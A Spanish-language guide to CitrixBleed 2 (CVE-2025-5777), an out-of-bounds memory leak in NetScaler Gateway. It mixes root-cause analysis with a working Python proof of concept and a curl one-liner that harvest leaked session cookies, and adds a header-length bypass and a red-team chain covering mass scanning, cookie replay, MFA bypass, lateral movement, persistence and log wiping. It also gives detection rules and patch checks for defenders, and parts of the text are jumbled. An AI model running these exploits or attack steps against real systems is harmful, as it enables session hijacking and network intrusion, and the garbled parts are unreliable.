
Explicación detallada de CitrixBleed 2 — CVE-2025-5777 (fuga fuera de límites) PoC y kit de detección
An Out-of-Bounds Memory Read in NetScaler ADC / Gateway — Un manual completo desde la causa raíz hasta los ejercicios de ataque y defensa
0x00 Introducción / Resumen rápido
0x01 Contexto: Arquitectura de NetScaler y repaso de CitrixBleed 1
0x02 Descripción de la vulnerabilidad (versiones afectadas, CVSS, consecuencias de la explotación)
0x03 Análisis profundo del mecanismo de activación (análisis a nivel de código fuente y capturas de depuración)
0x04 PoC mínimo + script de escaneo avanzado
0x05 Perspectiva del equipo rojo: cadena de ataque completa (detección → fuga → secuestro de sesión → movimiento lateral en la red interna)
0x06 Perspectiva del equipo azul: detección, forensia y verificación de parches
0x07 Endurecimiento defensivo: parches, WAF, configuración, gestión de activos
0x08 Hoja de ruta de aprendizaje / repaso y laboratorios prácticos
Apéndice A Reglas Sigma / Suricata / Nginx-Lua
Apéndice B Cronología de parches/explotación e instantánea de IoC
Referencias
Host extremadamente larga para que el dispositivo "escupe" al cliente bloques de memoria aleatoria junto con la respuesta HTTP.NSC_USER / NSC_TASS, StateContext de SAML, tokens MFA, que pueden reutilizarse directamente para realizar el secuestro de sesión y la evasión de MFA (arcticwolf.com, tenable.com).┌──────────────┐
│ Client │ ① HTTPS
└──────┬───────┘
│
┌──────▼───────┐
│ NetScaler │ ② AAA / Gateway 认证
│ (WebProc) │
└──────┬───────┘
│
┌──────▼───────┐
│ ICA Proxy / │ ③ 正向到应用
│ CVPN / RDP │
└──────────────┘
NetScaler adopta un diseño de múltiples procesos + IPC interno. WebProc se encarga de procesar la mayoría de las peticiones HTTP en la ruta AAA / Gateway, incluyendo /nf/auth/*, /oauth/*, etc. Hace un uso intensivo de snprintf() / memcpy() en lenguaje C cada vez que compone fragmentos XML/HTML.
/oauth/idp/.well-known/openid-configuration.snprintf como parámetro len del posterior send() → eco de memoria fuera de límites.Lección aprendida: si los parches de seguridad solo corrigen el "punto de impacto" en lugar del "paradigma de programación", se deja espacio para la "reproducción con plantillas".
Esta sección se basa en la descompilación del firmware 13.1-55.18 + depuración con gdb, recopilada a partir de blogs públicos (bishopfox.com).
/nf/auth/startwebview.doHost<AuthenticateResponse>
<wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
...
</AuthenticateResponse>
citrix_webview_handler()
├─ build_auth_xml()
│ ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
│ └─ return length; // ⚠️ length 可 > 0x1800
└─ ns_vpn_send_response(conn, 0x980200, buf, length);
Punto del bug:
snprintfdevuelve la "longitud que debería haberse escrito" en lugar de la longitud realmente escrita; si elHostproporcionado por el usuario supera 0x1800 - longitud del segmento constante, entonceslength>sizeof(buf).
buf: [-----XML-----][OOB][OOB][OOB]...... <- 0x1800 bytes limit
↑
被 ns_vpn_send_response 一并发出
Demostración del punto de interrupción en GDB (registros clave):
RDI (dst) = 0x7fffa2e31800 // buf
RSI (len) = 0x00001e42 // length=7746 (>6144)
Los resultados de read() muestran que los últimos 1600 bytes provienen de memoria no inicializada, donde se pueden apreciar buffers de cookies de otras sesiones SSL.
| Categoría | Fragmento de ejemplo (anonimizado) |
|---|---|
| Session Cookie | Set-Cookie: NSC_USER=john.doe;NSC_TASS=abc123... |
| MFA/OTP Token | radius_state=0e2a9c6d1553... |
| Otros cuerpos de petición | <username>audituser</username><password>***</password> |
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()
if len(sys.argv) != 2:
exit(f"Usage: {sys.argv[0]} https://NSVIP")
url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000} # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)
print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print(" Cookie leak ->", h.decode())
open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
leak.bin palabras clave como Cookie=, <AuthenticateContext>, etc.curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
https://NSVIP/nf/auth/startwebview.do -o leak.bin
Bypass: algunos dispositivos aplican una limitación de longitud de
Hosten el F5 / Nginx frontal; se puede evadir concatenando múltiples subdominios, por ejemplofoo.foo.foo.…foo.example.com(repitiendofoo3000 veces).
Caso real: ReliaQuest observó en un gateway de un cliente "una gran cantidad de peticiones con cabecera Host de más de 6 KB en un corto periodo, seguidas inmediatamente por el robo de sesiones" (reliaquest.com).
| Fuente | Indicador |
|---|---|
| /var/log/ns.log | AAA_TRANSACTION <client_ip> - Host header length: 6144 |
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
category: webserver
product: netscaler
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
cs-bytes|gt: 2048
c-host|strlen|gt: 4096
condition: selection
level: critical
nscli -s 127.0.0.1:3008 \
-c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
&& echo "Patched ✅" || echo "Vulnerable ❌"
# 清除全部活动 VPN/ICA 连接
kill icaconnection -all
kill vpn -all
Nota: tras aplicar el parche, sigue siendo necesario forzar el cierre de sesión para evitar que el atacante continúe usando las cookies robadas.
map $http_host $block_long_host {
default 0;
"~^.{4097,}$" 1;
}
server {
...
if ($block_long_host) { return 413; }
}
/nf/auth/ y /oauth/ (p. ej., 20 req/m).title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
product: netscaler
service: http_access
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
c-host|strlen|gt: 4096
condition: selection
level: critical
alert http any any -> any any (
msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
http.uri; content:"/nf/auth/startwebview.do"; nocase;
http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
classtype:attempted-recon;
sid:5777002; rev:1;
)
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end
Fin — Espero que este documento te ayude a comprender y afrontar CitrixBleed 2 en todos sus aspectos. Si necesitas complementarlo con más ejemplos, scripts u orientación para prácticas, ¡no dudes en seguir planteándolos!
| Campo | Contenido |
|---|
| CVE | CVE-2025-5777 |
| Alias | CitrixBleed 2 |
| Tipo de vulnerabilidad | Lectura fuera de límites / Fuga de información |
| CVSS v4 Base | 9.3 (Crit.) (netscaler.com) |
| Versiones afectadas | < 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com) |
| Requisitos de explotación | NetScaler configurado como Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) o servidor virtual AAA (arcticwolf.com) |
| Consecuencias de la explotación | Fuga de memoria → tokens de sesión → evasión de autenticación / evasión de MFA → movimiento lateral |
| Paso | Objetivo y técnica |
|---|
| ① Descubrimiento de activos | zoomeye search "http.title:\"NetScaler Gateway\"" + Shodan, etc.; filtrar set-cookie: NSC_ |
| ② Fuga con el PoC | Peticiones paralelas con scripts masivos; capturar NSC_USER= ; NSC_TASS= |
| ③ Replay de cookies | Chrome DevTools → Application → Cookies → añadir una entrada y recargar /vpn/index.html |
| ④ Recursos de la red interna | Acceder a storeweb/#home para obtener el archivo RDP; descargar el .ica e iniciar sesión directamente en la VDI |
| ⑤ Escalada de privilegios | Password spraying interno, Kerberoast, ADCS ESC1; o explotar SMB con contraseñas débiles en el mismo segmento de red |
| ⑥ Persistencia | Crear una Scheduled Task; registrar scripts de autoarranque; o modificar el vDisk de NetScaler (requiere privilegios elevados y negligencia de operaciones) |
| ⑦ Limpieza de rastros | Cookie de un solo uso; eliminar los registros de auditoría (si se obtiene root de NS); o sobrescribir mediante una condición de carrera en logrotate |
| HTTP_ACCESS.log | Peticiones a /nf/auth/startwebview.do con duración muy corta pero tamaño de respuesta anómalo (> 2 KB) |
| EDR/PCAP | Set-Cookie: NSC_USER= presente en respuestas a peticiones que no son de inicio de sesión |
| Fase | Recursos recomendados y acciones |
|---|
| Teoría | Leer los avisos de seguridad de Citrix, los FAQ de Arctic Wolf / Tenable y el análisis técnico de Bishop Fox (arcticwolf.com, tenable.com, bishopfox.com) |
| Laboratorio | Desplegar la versión vulnerable 13.1-55.18 (ESXi / KVM), ejecutar el PoC mínimo y capturar con Wireshark → observar el paquete de respuesta TCP PSH |
| Programación | Modificar el PoC: añadir replay automático de cookies, escaneo masivo ZTLS y colas multiproceso |
| Equipo azul | Buscar longitudes anómalas de Host en una ventana de dos horas; usar Sigma → Elastic/Graylog; reproducir y validar las políticas de WAF |
| Compartir | Escribir un blog o crear un mapa mental que resuma "las trampas del uso de snprintf" |
| Fecha (2025) | Evento |
|---|
| 06-17 | Citrix publica inicialmente el aviso de CVE-2025-5777 (netscaler.com) |
| 06-18 | Bishop Fox publica el primer análisis técnico y el PoC (bishopfox.com) |
| 06-23 | Citrix actualiza el alcance de los productos afectados y las versiones con parche; CISA lo añade al KEV |
| 06-25 | ReliaQuest informa de explotación activa; grupos de amenazas están robando sesiones de forma masiva (reliaquest.com) |
| 06-27 | BleepingComputer informa de que "posiblemente ya se ha explotado a gran escala" (bleepingcomputer.com) |
| 06-28 | Aparecen múltiples PoCs en GitHub; Tenable publica un FAQ (tenable.com) |